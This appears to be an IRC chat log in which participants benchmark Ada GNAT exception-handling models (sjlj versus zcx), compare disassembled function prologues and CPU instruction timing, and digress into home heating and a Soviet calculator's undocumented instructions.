could even say nao is 'bitcoin winter', the sorts of folx inclined to stuff head up arse are stuffing deeper than ever and boasting 1896511;1550165046;mircea_popescu;i dunno how i could say that, looking at teh data. it's not about what social media says, nothing ever is. 1896512;1550165119;asciilifeform;i dun read 'soshulmeadia', dun have any data other than 'no one seems to be offering 20k orc dubloons for coin like yr ago, just nao' 1896513;1550165181;mircea_popescu;anyway, re above trends : there's a very visible trend in energy generation away from low quality and towards high quality. this means absolutely a move away from everything and into nuclear. as nuclear increases and fossils drop, the outlook will significantly change -- eg in romania i'd have not even considered heating on any other premise than natgas ; bathroom had eg towel rack consisting of hot water pipes and other such 1896514;1550165181;mircea_popescu; purely yurpean luxuries. 1896515;1550165192;asciilifeform;( and ftr i dun hate winter, either 'bitcoin' or of the ordinary kind, winter is a-ok for so long as you aint stuck in the wind w/out a coat ) 1896516;1550165197;mircea_popescu;but the natgas will run out ; and the little house-sized powerplants that it enables will go away, i can't burn pitch in there. 1896517;1550165235;mircea_popescu;and once they go away, what will i use ? there's a case for using electricity for heating if MOST of energy produced is electricity. because heating relatively small outlay, all things considered. 1896518;1550165257;phf;trinque: i'm going to play with some link combinations, but perhaps it would be worthwhile to at least check if the named file exists on the system after failed genesis production. 1896519;1550165344;phf;i've been looking at getting x11 working for cp101a but not on top of cuntoo. i'm going to take a break and attempt a build myself. i might run into the issue also 1896520;1550165466;mircea_popescu;consider the math : i go out to eat, i eat at $100 a plate joint. i go out for a show, or a bender, or a casino trip, or what have you, i come back thousands lighter. meanwhile what's your living space, 100 sqm ? 1000 sqm ? you'll get fucking lost in an acre, really. with modern insulation what's the lossage, a few cents a day ? how THE FUCK will you care so much about the cent as to go cold rather than use electricity, while 1896521;1550165466;mircea_popescu; caring so much about dinner ? 1896522;1550168200;feedbot;http://qntra.net/2019/02/clicking-on-terrorist-content-felonized-in-airstrip-one/ << Qntra -- Clicking On "Terrorist Content" Felonized In Airstrip One 1896523;1550168203;asciilifeform;!!up drunk_foxx 1896524;1550168204;deedbot;drunk_foxx voiced for 30 minutes. 1896525;1550168232;asciilifeform;drunk_foxx: better be quick 1896526;1550168783;asciilifeform;aanybody have any idea who ^ is ? 1896527;1550168803;asciilifeform;!!down drunk_foxx 1896528;1550168809;*;asciilifeform briefly wondered if ben_vulpes 1896529;1550169222;feedbot;http://trilema.com/2019/il-corpo-della-ragassa/ << Trilema -- Il corpo della ragassa 1896530;1550171175;diana_coman;http://btcbase.org/log/2019-02-14#1896356 -> this finished: the signature still does not verify; trinque let me know if you want to see the result of this run too 1896531;1550171175;a111;Logged on 2019-02-14 07:40 diana_coman: http://btcbase.org/log/2019-02-14#1896320 -> hm, trinque, do you suspect it's really just down to V version? I can easily re-run the thing with a V pressed to same node as yours to rule that out, if that's the case 1896532;1550171851;diana_coman;re http://btcbase.org/log/2019-02-14#1896383 -> http://p.bvulpes.com/pastes/o2h67/?raw=true (that's the version including a handler and obv, there are in fact 3 procedures A, B, C, with each calling the other two or one of the other two; MT is the Mersenne Twister Ada implementation I did for the UDP test) 1896533;1550171851;a111;Logged on 2019-02-14 07:55 mircea_popescu: diana_coman : btw, here's my current model for the calling timing harness : write three procedures, A B C. have each of these 1. increment a global counter, X ; 2. check if X is over a max value ; 3. if it is not, have each call either one or the other of the other two randomly ; 4. if X is over max value, have them simply return. 1896534;1550171911;diana_coman;ftr with exception handlers the main trouble is simply that the sjlj overflows the stack very quickly; so far not as much any clear difference in *speed* but certainly a difference in stack space used 1896535;1550171970;asciilifeform;diana_coman: how quickly is 'very' ? ( can haz numeric ? e.g. 'zxc eats 1kb per level of depth, sjlj - 2kb' ) 1896536;1550171974;diana_coman;mircea_popescu, let me know if that's the sort of thing you had in mind or not 1896537;1550172027;diana_coman;asciilifeform, yes, data set contains...data, lol; but will publish it all when full or at least when at some point to decide further or otherwise we keep going back and forth 1896538;1550172075;asciilifeform;ok 1896539;1550172105;asciilifeform;diana_coman: if you have time, plox post a pair of bins so that i can http://btcbase.org/log/2019-02-14#1896414 tonight 1896540;1550172105;a111;Logged on 2019-02-14 16:05 asciilifeform: btw , to go with http://trilema.com/2019/so-what-is-the-man-saying , really oughta disasm a zcx variant and longjmp side by side and see what actually changes. ( when diana_coman comes back with working bins, i'ma set this up , for thread-co) 1896541;1550172107;diana_coman;atm I still have to get to the bottom of the "ave1 gnat with sjlj" 1896542;1550172118;asciilifeform;( from ancient gnat will suffice for time being , for that ) 1896543;1550172134;diana_coman;right; as soon as mircea_popescu confirms the code is what he wanted, will do 1896544;1550172149;asciilifeform;aite, i'ma do it to the variant mircea_popescu goes with 1896545;1550172244;asciilifeform;diana_coman: ideally when you do this, tar up not only the final bin but the contents of obj dir 1896546;1550172252;asciilifeform;( we aren't so much concerned with the 3MB standard lib ) 1896547;1550172272;diana_coman;k, will tar up the whole dir 1896548;1550172275;asciilifeform;ty 1896549;1550172327;*;mircea_popescu reading 1896550;1550172381;mircea_popescu;diana_coman take out the Encrypt(KS, Plain, Encr); line, this is just empty procedure calls. 1896551;1550172472;asciilifeform;mircea_popescu: i cannot resist to ask, is it 'ragassa' and not 'ragazza' ? ( was it a sicilianism or wat ) 1896552;1550172480;mircea_popescu;because they're talking veneto. 1896553;1550172486;diana_coman;oh, no serpent in there ? it'll run VERY fast though i.e. 0.039s sort of thing 1896554;1550172487;asciilifeform;a aaa. 1896555;1550172498;mircea_popescu;diana_coman well, that's what the x knob is for. 1896556;1550172517;mircea_popescu;from previous experience if we get it to 1-3 s we're far into convergence territory anyway. 1896557;1550172535;diana_coman;and you know, worse in the sense that you get 0.0039 on one run and 0.0095 on another 1896558;1550172557;mircea_popescu;hm ? 1896559;1550172597;*;diana_coman goes to run it a few times without the serpent 1896560;1550172686;diana_coman;confirmed: with max=65535, no serpent (i.e. empty calls only), I got 0.004, 0.009, 0.007, 0.005 (without sjlj) 1896561;1550172717;diana_coman; oh, no serpent in there ? it'll run VERY fast though i.e. 0.039s sort of thing -> darn, that's 0.0039 1896562;1550172749;mircea_popescu;diana_coman try with 16777216 then. 1896563;1550172762;*;diana_coman goes to try 1896564;1550172770;asciilifeform;diana_coman: fwiw the noise floor on e.g my test box, is 0.003 (i.e. a proggy with empty main) 1896565;1550173302;mircea_popescu;talking of space heaters, inb4 her house burned down. 1896566;1550173375;*;asciilifeform not yet burned down, but managed to overhead $box recently 1896567;1550173378;asciilifeform;*overheat 1896568;1550173447;mircea_popescu;anyway, on the upside, it is not possible x= 16777216 can be accomodated on any stack pages of any extant or soon to be devised irons, it still needs at least 4 bytes per call if not 52. 1896569;1550173465;diana_coman;uhm, it overflows the stack and either the linker switch I'm using is not working or it can't make it 1896570;1550173491;mircea_popescu;diana_coman possibly have to alter the linux config alf was mentioning it, blows out the 2mb stack max default. 1896571;1550173521;asciilifeform;( asciilifeform found that [http://www.loper-os.org/?p=1871][ye olde box] cannot actually sustain 100% 8-core for 2+hrs. trips sensor. quite annoying. ) 1896572;1550173534;mircea_popescu;try ulimit -a 1896573;1550173620;diana_coman;stacksize 8192kbytes 1896574;1550173652;mircea_popescu;so setrlimit to whatever is reasonable (here i'd expect no less than 832mb) 1896575;1550173723;mircea_popescu;can set it back when done, it happens to be one of the more sensible / useful limits in there, which is why few even know about it. 1896576;1550173758;*;diana_coman is waiting for it to finish now 1896577;1550173828;asciilifeform;mircea_popescu: i've had to up stack depth on 1 occasion before -- when testing ffa with ridiculously wide bitnesses ( recall, item runs 100% stackistically ) 1896578;1550173903;diana_coman;uhm, I set ulimit -s 900000 ; it shows, confirmed at that with either ulimit -a or ulimit -s; set it from the linker option too; prog still overflows in the end; and if I try MORE than that from ulimit -s I get bash: ulimit: stack size: cannot modify limit: Operation not permitted 1896579;1550173981;asciilifeform;ugh is there a hard max ?! 1896580;1550173990;asciilifeform;( and it's lower than installed ram?! ) 1896581;1550174007;diana_coman;apparently I need to dig into this more 1896582;1550174057;*;diana_coman goes to dig in bash confs 1896583;1550174102;asciilifeform;iirc on some kernels 'ulimit -s unlimited' worked 1896584;1550174122;diana_coman;not on this one, I tried it 1896585;1550174637;diana_coman;right: Starting Calls run with 3 procs and Max value 16777216; Calls run X = 22368144 took 1.258959000 seconds. 1896586;1550174661;diana_coman;the value of X is final value and it changes a bit depending on the seed for MT 1896587;1550174676;diana_coman;mircea_popescu, ^ 1896588;1550174793;mircea_popescu;diana_coman i don't get it, so it crashed with 16mn but worked with 22mn ? 1896589;1550174806;mircea_popescu;or is the idea you meanwhile fixed the stack size issue 1896590;1550174811;diana_coman;I fixed the stack issue 1896591;1550174845;mircea_popescu;a cool. ok, so 22mn takes 1.25 s i'd say it's in the zone, and we're good as such. 1896592;1550174853;mircea_popescu;now for teh sjlj 1896593;1550174942;mircea_popescu;(it will doubtless be MUCH larger, but the issue here is time not so much space) 1896594;1550174966;diana_coman;ugh, I still have that 1 exception handler per proc and with sjlj it overflows ofc; let me re-run it wihtout any exception handlers in it first, both with and without sjlj 1896595;1550175060;mircea_popescu;alright ; then try smaller sizes, x=4m might fit for both for instance, and it's still in the zone. 1896596;1550175179;diana_coman;mircea_popescu, just to make sure you get this straight: Max is one thing, the final X is another i.e. the final X really counts how many times procs got entered; the max value means procs stop calling others (but note that the x=x+1 is done before the check precisely because I wanted to know how many calls) 1896597;1550175211;diana_coman;so X will be bigger than max generally because of the "calls 2 procs" 1896598;1550175303;diana_coman;Starting Calls run with 3 procs and Max value 16777216; Calls run X = 22368144 took 0.900212000 seconds. 1896599;1550175330;diana_coman;i.e. same as above with Max at 16.77mn (but real X at 22.36mn) without sjlj -> 0.9s 1896600;1550175373;diana_coman;with sjlj: Starting Calls run with 3 procs and Max value 16777216;Calls run X = 22368144 took 0.903548000 seconds. 1896601;1550176053;diana_coman;aaand this is it, docs apparently right: fully cleaned up (i.e. none of the serpent vars + init anymore either), max value 16777216, x 22368144; with NO handlers it's 0.9s no sjlj and 0.03 with sjlj; same but WITH 1 handler per proc turns into 1.06s without sjlj and 158.87s with sjlj 1896602;1550176133;mircea_popescu;diana_coman but they're parametrically related. 1896603;1550176251;mircea_popescu;diana_coman wait wait, so it's in fact a HUGE penalty to use zcx is you have no extra handlers ? 1896604;1550176306;diana_coman;you mean in that you don't actually gain anything but lose ability to abort asynchronously among other things? 1896605;1550176340;mircea_popescu;specifically stated, this program takes to run : 1 with sjlh, no handlers ; 30 (up 3000%) with zcx, irrespective of handler count ; 5295 (a further 200% up) with sjlj and one extra handler. 1896606;1550176376;mircea_popescu;ie, what the docs don't say is the juciest bit at all : if you do not have extra handlers, zcx is MASSACRING you on calls. 1896607;1550176400;mircea_popescu;diana_coman can we do with 2 and 3 extra handlers as a bonus plox ? 1896608;1550176551;diana_coman;ugh, either I fat-fingered there or what; let me run that again ; (and possibly /me should really stop getting data *other* than in a nice plain table) 1896609;1550176562;diana_coman;and yes, then I'll do with 2 and 3 handlers too 1896610;1550176583;mircea_popescu;kk 1896611;1550176591;mircea_popescu;but that 0.9 vs 0.03 is popping the fuck out. 1896612;1550176611;diana_coman;hence I suspect I fat-fingered it because I don't remember popping out when I read in console 1896613;1550176615;mircea_popescu;kk 1896614;1550176624;*;diana_coman goes to run and will be back with proper data 1896615;1550176858;*;asciilifeform nao wonders if there's a seekrit chest fulla ffa speedup in this dig 1896616;1550176950;mircea_popescu;you know ?! 1896617;1550176961;mircea_popescu;it really blew my fucking mind! ZERO COST, they said!!! 1896618;1550176999;mircea_popescu;(in fairness though, no program ever does the sort of calling insanity we do here, so irl this may be very mild indeed) 1896619;1550177111;mircea_popescu;!Qcalc 158.87/22368144 1896620;1550177111;lobbesbot;mircea_popescu: 7.10251150028e-06 1896621;1550177127;mircea_popescu;^even handled sjlj is not really that bad, 7us per call far far from end of world. 1896622;1550177251;*;asciilifeform goes to test.. 1896623;1550177347;*;asciilifeform finds that (using pre-ave1 gnat, where i currently can --RTS=sjlj ) no detectable diff in [http://www.loper-os.org/?p=2892#selection-2.238-4595.6][mod ex] 1896624;1550177404;asciilifeform;this does not contradict the hypothesis re handlers tho ( i have only the 'last chance' handler ). it does suggest that sjlj does not speed up ordinary calls substantially tho. 1896625;1550177427;diana_coman;no, fat-fingered it, 0 instead of 9 i.e it was 0.93 not 0.03; sorry about that; still running atm the 1 handler with sjlj and then will move on to 2 and 3 handlers 1896626;1550177470;diana_coman;all those tests are on Adacore's 2016 gnat, yes 1896627;1550177485;mircea_popescu;a a! so it's 0.9 vs 0.93 ? 1896628;1550177488;diana_coman;yes 1896629;1550177500;mircea_popescu;aok. i can take my tin foil off now. 1896630;1550177563;diana_coman;sorry; I should know by now to not hurry up with data report even if it's just 2 runs 1896631;1550177601;mircea_popescu;no harm done 1896632;1550177636;diana_coman;I still don't see the boo-boo of docs i.e ~"all programs should see a great improvement running zcx" or how was it 1896633;1550177865;mircea_popescu;prolly a bunch of try()catch semantics in "all programs" 1896634;1550178246;diana_coman;ah, that'd explain it, wouldn't it: by the time "programming" is direct translation of fuzzing into code, it'd possibly speed up, yes 1896635;1550178311;mircea_popescu;aha. 1896636;1550181233;diana_coman;mircea_popescu and anyone else following along, here's the data from a set of runs with handlers from 0 to 3: http://p.bvulpes.com/pastes/9Cstd/?raw=true 1896637;1550181568;diana_coman;in other things, re http://btcbase.org/log/2019-02-11#1894896 -> this should now be fully sorted i.e. IP change for dianacoman.com propagated as far as I can see + redirection working fine for any link so please let me know if you still encounter trouble with any dead links; if you use only hosts (no DNS) then simply adding dianacoman.com on same IP as ossasepia should work seamlessly 1896638;1550181568;a111;Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance. 1896639;1550181899;diana_coman;asciilifeform, any preference re "pair of bins" i.e. the procedure calls or the loops of yest? 1896640;1550181903;diana_coman;or both? 1896641;1550182688;diana_coman;asciilifeform, here are the latest aka proc calls with 3 handlers per proc: ossasepia.com/available_resources/bins_calls_sjlj_adacoregnat.tar.gz and ossasepia.com/available_resources/bins_calls_zcx_adacoregnat.tar.gz ; let me know if you want anything else 1896642;1550183020;asciilifeform;ty diana_coman ! i'ma look 1896643;1550183280;asciilifeform;diana_coman: the 'zcx' tarball contains a 'ljmp_calls' dir, same as other 1. which is correct ? 1896644;1550183313;diana_coman;asciilifeform, the name of the tarball is correct; you'll have to change the name of the dir /put them separate 1896645;1550183319;asciilifeform;aa ok 1896646;1550183641;asciilifeform;diana_coman: btw your 'lick the 9v' intuitive observation earlier was correct, on ljmp variant the default stack frame indeed longer, 184byte vs 40 1896647;1550183727;asciilifeform;though, interestingly, only in the unit 'procs' , which actually contains exceptionisms 1896648;1550183762;asciilifeform;err, 'procs' and 'mt' 1896649;1550183803;asciilifeform;at the risk of log clutter, will put ftr : 1896650;1550183808;asciilifeform;zcxistic : 1896651;1550183810;asciilifeform;0000000000000000 : 1896652;1550183810;asciilifeform; 0: 55 push %rbp 1896653;1550183810;asciilifeform; 1: 48 89 e5 mov %rsp,%rbp 1896654;1550183810;asciilifeform; 4: 41 55 push %r13 1896655;1550183811;asciilifeform; 6: 41 54 push %r12 1896656;1550183812;asciilifeform; 8: 53 push %rbx 1896657;1550183815;asciilifeform; 9: 48 83 ec 28 sub $0x28,%rsp 1896658;1550183817;asciilifeform;longjmpistic: 1896659;1550183822;asciilifeform;0000000000000000 : 1896660;1550183822;asciilifeform; 0: 55 push %rbp 1896661;1550183823;asciilifeform; 1: 48 89 e5 mov %rsp,%rbp 1896662;1550183825;asciilifeform; 4: 41 57 push %r15 1896663;1550183827;asciilifeform; 6: 41 56 push %r14 1896664;1550183829;asciilifeform; 8: 41 55 push %r13 1896665;1550183831;asciilifeform; a: 41 54 push %r12 1896666;1550183833;asciilifeform; c: 53 push %rbx 1896667;1550183835;asciilifeform; d: 48 81 ec b8 00 00 00 sub $0xb8,%rsp 1896668;1550184005;mircea_popescu;so really just pushes two more regs is all. 1896669;1550184308;diana_coman;hm, doesn't look that bad 1896670;1550184341;mircea_popescu;ftr that's 52 bytes (ha-HA!) vs 60 bytes. 1896671;1550184361;asciilifeform;for thread-completeness : http://www.loper-os.org/pub/misc/zcx_proc_flow.png http://www.loper-os.org/pub/misc/ljmp_proc_flow.png 1896672;1550184454;asciilifeform;( before anyone asks, the 'unwind resume' variants are extern stdlib symbols, and i haven't looked to see how they differ yet ) 1896673;1550184487;asciilifeform;mircea_popescu: where 50 and 60 ? 1896674;1550184495;mircea_popescu;procs_a vs procs_a 1896675;1550184514;asciilifeform;0x28 == 40 , 0xb8 == 184 1896676;1550184517;asciilifeform;the stack frame, that is 1896677;1550184531;asciilifeform;plus moar killed regs 1896678;1550184566;asciilifeform;but indeed the ljmp variant craps out slightly bulkier coad across the board 1896679;1550184586;asciilifeform;( to 0 measurable diff in ffa, oddly enuff, but on e.g. tiny micros might make a diff.. ) 1896680;1550184601;mircea_popescu;look here : lines 1 through 9 in zcx add up to 13 bytes, yes ? 1896681;1550184610;asciilifeform;aa your were speaking of coad mass 1896682;1550184611;asciilifeform;then yes 1896683;1550184616;asciilifeform;and see above 1896684;1550184643;mircea_popescu;the observation that perhaps sjlj is not actually as tightly optimized as zcx is trying to percolate through my brain 1896685;1550184645;asciilifeform;i was discussing diana_coman's much earlier empirical find, that on ljmp stack fills faster per same # of calls. this here is why. 1896686;1550184646;mircea_popescu;whence 184 ?! 1896687;1550184653;asciilifeform;mircea_popescu: the stack frame. 1896688;1550184659;mircea_popescu;but why so big ? 1896689;1550184662;asciilifeform;sub $0xXX,%rsp 1896690;1550184674;mircea_popescu;no i know where you got the sub param from, what im asking is, 1896691;1550184684;asciilifeform;cuz it keeps the where to longjmp in'ere. 1896692;1550184687;mircea_popescu;what does it do with the rest of the frame, from the bytes we see to the 184 ? 1896693;1550184837;asciilifeform;1s 1896694;1550184883;mircea_popescu;(the 52 is cuz i took the 13 items and multiplied by 4, forgetting that these are actually byte alligned not 64-bit alligned) 1896695;1550185017;asciilifeform;http://www.loper-os.org/pub/misc/zcx_procs.asm http://www.loper-os.org/pub/misc/ljmp_procs.asm 1896696;1550185105;mircea_popescu;why ty! 1896697;1550185125;asciilifeform;^ in classic intelistic form, and with decoded debug symbols 1896698;1550185127;asciilifeform;yw mircea_popescu 1896699;1550185277;asciilifeform;also loox like the ljmp variant puts abortism stub in erry proc (that appears in a task, that is) 1896700;1550185335;mircea_popescu;it does. 1896701;1550185337;asciilifeform;( will guess, tho i do not presently know, that these trigger unwind of stack ) 1896702;1550185445;*;asciilifeform currently wondering wtf https://www.felixcloutier.com/x86/ud is doing in there 1896703;1550185464;asciilifeform;it is only in ljmp-variant 1896704;1550185477;asciilifeform;( which is why asciilifeform never saw it in gnat disasms prior ) 1896705;1550185498;mircea_popescu;yes! 1896706;1550185507;asciilifeform;i'ma guess it is for word-alignment (why not ordinary nop ?? ) 1896707;1550185553;*;asciilifeform is prolly doomed to actually vivisect the gnat backend at some pt, prolly sooner rather than later 1896708;1550185576;mircea_popescu;loc_44E: << this entire thing\ 1896709;1550185581;asciilifeform;in which 1896710;1550185607;asciilifeform;aa ljmp 1896711;1550185608;mircea_popescu;sjlj 1896712;1550185625;mircea_popescu;why jz rather tthan sub ? 1896713;1550185657;mircea_popescu;im sorry. why jz rather than jmp or w/e 1896714;1550185691;asciilifeform;cuz it's the 2nd half of a conditional ? 1896715;1550185699;asciilifeform;test eax, eax 1896716;1550185702;asciilifeform;jz somewhere 1896717;1550185709;diana_coman;I'm atm doing the inventory of ave1's versions of gnat scripts and apparently even 2018-05-29 relies on downloading stuff that meanwhile moved/vanished as they always do; moreover, I have the darned stuff , now need to figure out how to cut out the download and just point the script at local source, ugh 1896718;1550185731;mircea_popescu;asciilifeform but i mean, test eax, eax ? 1896719;1550185732;asciilifeform;i.e. loox like is a flag that triggers an unwind 1896720;1550185735;mircea_popescu;what's being tested ? 1896721;1550185768;asciilifeform;i suspect mircea_popescu dun habitually read gcc barf 1896722;1550185783;asciilifeform;want expand ? 1896723;1550185788;mircea_popescu;rather, i can't shake this impression that sjlj saddles us with two segments of overhead 1896724;1550185802;mircea_popescu;one that's due to the method, and the other that's due to the fact zcx was a lot narrowly-er massaged 1896725;1550185896;asciilifeform;var_B8 contains some flag. valid values are 0, 1, 2, 3. if 0, we go to loc_490. if 1, loc_601. if 2, loc_62d. if 3, loc_659. if above 4, program dies, cpu executes ud2 (guaranteed bomb) . 1896726;1550185924;asciilifeform;490 is various mechanics, ends with _Unwind_SjLj_Resume . 1896727;1550185954;asciilifeform;the rest, i will omit, but also end up in the various unwindisms, aborts, stubs. 1896728;1550186012;asciilifeform;aah lol i'm a tard : 1896729;1550186018;asciilifeform;they're diana_coman's exception handlers. 1896730;1550186041;*;asciilifeform prolly oughta have read the orig adb prior to doing this 1896731;1550186041;mircea_popescu;are you basically saying this sub eax, 1 ; test eax, eax ; jz loc_601 is optimal approach ? 1896732;1550186064;asciilifeform;mircea_popescu: it's what gcc does for small (i dun recall threshhold) computed switch 1896733;1550186076;asciilifeform;for larger, does a computed jump 1896734;1550186113;asciilifeform;it's 'optimal' in the sense that it fucks the branch predictor less than an always-computed-jump 1896735;1550186171;mircea_popescu;yet zcx does cmp rdx, 3 ; jz loc_50C 1896736;1550186178;mircea_popescu;(did i identify the same segment correctly ?) 1896737;1550186185;asciilifeform;lessee.. 1896738;1550186188;mircea_popescu;which is more compact ; and perhaps quicker too ? 1896739;1550186201;asciilifeform;zcx hands-down moar compact 1896740;1550186209;asciilifeform;at least where routine appears in a task 1896741;1550186211;mircea_popescu;well so then what are we disagreeing here about. 1896742;1550186217;asciilifeform;nuffin yet, afaik 1896743;1550186227;mircea_popescu;aite. 1896744;1550186233;asciilifeform;i sawed it open to try an' see how thefuq the longjmp thing actually worx 1896745;1550186243;asciilifeform;and precisely why slower (and where even slower) 1896746;1550186277;asciilifeform;on sane people planet i could determine this by reading the motherfucking docs 1896747;1550186283;asciilifeform;whereas here.. 1896748;1550186294;mircea_popescu;one part of the problem might be that sjlj comes from a time before, when insanities like that snippet above were standard. but no time since the millenium do you see it instead of the cmp etc. 1896749;1550186315;asciilifeform;mircea_popescu: opposite. cmp is ~3x slower than 'test' 1896750;1550186325;asciilifeform;cuz it does a subtract, see 1896751;1550186345;asciilifeform;test simply ORs the bits in register together (and this happens by default when you load it, cuz it's costless electrically) 1896752;1550186348;mircea_popescu;supposedly not anymore. 1896753;1550186357;asciilifeform;think, cmp can only work by subtracting 1896754;1550186370;mircea_popescu;i agree with THAT part. 1896755;1550186373;asciilifeform;(so it actually locks the pipe and waits for both operands to become available) 1896756;1550186385;asciilifeform;hm so which 'not anymore' ? 1896757;1550186387;mircea_popescu;yeah but the pipe is built such that this is also ~0 cost electrically 1896758;1550186417;asciilifeform;mno, if you lock the pipe, you lock the pipe, that reg aint available for reorderism 1896759;1550186426;asciilifeform;whereas if you didn't touch it, it then is 1896760;1550186432;asciilifeform;( recall, we're on a reorderism arch ) 1896761;1550186449;mircea_popescu;well, i won't trust my own understanding of asm and contemporary cpus as far as i can throw it ; but if indeed the operands in zcx impl were slower, you'd see it take less time!!!1 1896762;1550186480;asciilifeform;diana_coman does seem to have crafted a testism where it does 1896763;1550186520;mircea_popescu;nope ? 1896764;1550186521;asciilifeform;( btw the obj reason why none of this is visible in ffa -- there aint any tasks! so even in ljmp mode it shits out same coad ) 1896765;1550186553;mircea_popescu;she corrected the numbers, it's 90 for zcx 93 for sjlj at the best. 1896766;1550186561;asciilifeform;mircea_popescu: do i misread the http://btcbase.org/log/2019-02-14#1896636 run ? 1896767;1550186561;a111;Logged on 2019-02-14 21:53 diana_coman: mircea_popescu and anyone else following along, here's the data from a set of runs with handlers from 0 to 3: http://p.bvulpes.com/pastes/9Cstd/?raw=true 1896768;1550186595;mircea_popescu;gimme a break, that first instance ? 1896769;1550186620;asciilifeform;e.g. for 3 handlers, 3 | 1.329 | 446.821 1896770;1550186628;asciilifeform;( zcx on left hand, ljmp on right ) 1896771;1550186648;mircea_popescu;400 seconds vs 1 second ? 1896772;1550186658;asciilifeform;aha 1896773;1550186682;mircea_popescu;if the zcx's cmp WERE slower than sjlj's test, then we should see the latter be faster on 0 handlers than the former! 1896774;1550186714;mircea_popescu;leaving compactness aside for the moment 1896775;1550186722;asciilifeform;seems like the diff only comes into play when there is 1 or moar ? 1896776;1550186733;asciilifeform;( based strictly on diana_coman's output ) 1896777;1550186768;asciilifeform;mircea_popescu: the 'test' vs 'cmp' thing is microscopic , so arguably red herring here 1896778;1550186783;asciilifeform;( it's make a serious diff inside an inner loop, but here we have it in exception handler, which aint ) 1896779;1550186820;asciilifeform;i was answering q of 'why does gcc put out this odd form for a computed goto'. 1896780;1550186821;mircea_popescu;kinda what i understood, that cmp USED TO BE expensive, but is no longer. 1896781;1550186823;mircea_popescu;but anyways! 1896782;1550186850;*;asciilifeform would kill for an accurate tick table for opteron. but none exists ( possibly when i have msdos gnat, can bake one..) 1896783;1550186879;asciilifeform;( the rub is that ticks depend heavily on context, on a reorderistic cpu ) 1896784;1550186890;mircea_popescu;myeah. 1896785;1550186923;mircea_popescu;not likely a scalar table. 1896786;1550186944;asciilifeform;for all i know, not even a computable function, lol 1896787;1550186949;mircea_popescu;nevertheless, the point has legs -- what we've done here very much can be done ands re-done, and with cuntoo/ada-gnat/etc stack spitting out statics, it might even come close. 1896788;1550186965;mircea_popescu;in no case do i know of anyone who has actual data re such things as "ok, so manual claims, but NUMBERS for this penalty" 1896789;1550186981;*;asciilifeform would really instead like a cpu where erry instruction takes 1 tick, fuck errything. but presently dunhave. 1896790;1550186999;asciilifeform;mircea_popescu: manual is silent, for the most part, on subj. 1896791;1550187010;asciilifeform;they haven't printed 'tick table' since old pentium. 1896792;1550187021;asciilifeform;i.e. when introduced reorderism & pipes. 1896793;1550187048;*;asciilifeform actually has the manuals, intel's and amd's, they eat a good bit of shelf 1896794;1550187069;mircea_popescu;yes, but we can actually print it, if we get that bored. 1896795;1550187081;asciilifeform;they also dun do much good! if i had a wood furnace, i'dve stoked it with'em by nao 1896796;1550187087;mircea_popescu;precisely through same process as yielded here, timings for serpent etc, there's readily recognizable meta-structures 1896797;1550187112;mircea_popescu;end up with converged values and whatever else, put them in a matrix and have a matrix-table. 1896798;1550187142;asciilifeform;eh and then you make your case switch 4-legged instead of 3 somewhere, and all readings change. 1896799;1550187147;asciilifeform;for no describable reason. 1896800;1550187164;asciilifeform;this is why most 'i'ma do it in asm!' folx by nao have drunk to death. 1896801;1550187198;asciilifeform;yer talking to 1 of the few remaining. (and perhaps only because asciilifeform dun often asm , knows measure) 1896802;1550187217;asciilifeform;it's a shit arch. 1896803;1550187259;mircea_popescu;why you do the matrix in the first place. you identify the attactors and so on 1896804;1550187267;mircea_popescu;it'll be scientific programming for once. 1896805;1550187285;asciilifeform;mircea_popescu: it's a stateful box of ??? ( rumour is, not even orig vendor can fully describe the phase space ) 1896806;1550187329;mircea_popescu;nevertheless it's a finite phase space. imagine, if we end up having docs intel doesn't. 1896807;1550187358;asciilifeform;and then you pick up chip made on a tuesday, and it has diff mechanics than what they sold on wednesday of same wk. 1896808;1550187364;*;asciilifeform seen many times 1896809;1550187375;asciilifeform;it aint a z80, thing is finite yes, but coupla MB of state . 1896810;1550187430;asciilifeform;which is not to say that you can say ~nothing~ -- can say many things (e.g. the point re the reorder lock, stands for all current x86 irons) 1896811;1550187608;mircea_popescu;(this may sound far-fetched to our foreign friends ; but the exact thing happened to me [http://trilema.com/2011/nesimtirea-la-romani/#selection-93.190-93.446][before]. 1896812;1550187613;mircea_popescu;diana_coman was there, even! 1896813;1550187622;asciilifeform;also did not say that profiling is useless, profiling -- worx, and is a must for anyffin where you actually give a fuck re performance. but what we aint got on pc, is anything like an actual grasp of wtf the thing does and precisely why. 1896814;1550187635;mircea_popescu;but this can be wrested out from it! 1896815;1550187646;mircea_popescu;and the mechanism that'll work on intell will then work on xilinx, and so on. 1896816;1550187651;mircea_popescu;software's faster than hardware. 1896817;1550187680;asciilifeform;with thinking, rather than brute force ( nobody will live to see even 2^128 bit of phase space walked via brute force, do the arithm ) 1896818;1550187687;asciilifeform;and it's exactly what asciilifeform intends to do to e.g. the bolix. 1896819;1550187702;asciilifeform;but requires a bit deeper cut than 'i'ma run $snippet and time' 1896820;1550187810;mircea_popescu;surely. 1896821;1550187820;asciilifeform;!#s mk61 1896822;1550187821;a111;6 results for "mk61", http://btcbase.org/log-search?q=mk61 1896823;1550187841;asciilifeform;^ ancient sovok programmable calculator. had entire subculture, of , among other things, 'eggogology' 1896824;1550187846;asciilifeform;i.e. exploring undefined instructions 1896825;1550187855;asciilifeform;much noise was made re the peculiar results of running various 1896826;1550187872;asciilifeform;but for 30 yrs the aficionados had nfi what thing actually did when eggoged. until microscopist. 1896827;1550187899;asciilifeform;what found, was that the 'eggog instrs' were meant to be various floatingpointisms, that didn't work out in the last chip revision, and so left out of the manual 1896828;1550187918;asciilifeform;so produced garbage ( but ordered!111 and therefore fascinating!111 to certain folx ) garbage. 1896829;1550187950;mircea_popescu;hahaha 1896830;1550187955;mircea_popescu;ok that's a great one. 1896831;1550187960;asciilifeform;this sorta thing happens to this day. 1896832;1550187965;mircea_popescu;im sure 1896833;1550188035;asciilifeform;( and think, that was a ~hand-drawn~ chip, with coupla thou. transistor. ) 1896834;1550188146;asciilifeform;http://www.artem.ru/calc/2.jpg << subj is under the large white paint stain. 1896835;1550188166;asciilifeform;( surprise ? they had smt pcb in sovok ) 1896836;1550188350;asciilifeform;in ru there are some decent microscopists ( not the 1 phf went to, but apparently others. ) for instance, very recently found that К1801 ( sovok 'pdp-11' single-chip ) was ~not~ in fact a photoclone of dec's (only the early '80s demo ver was!) but , turns out, entirely indigenous orc design, with coupla x ~fewer~ transistors and yet faster max clock 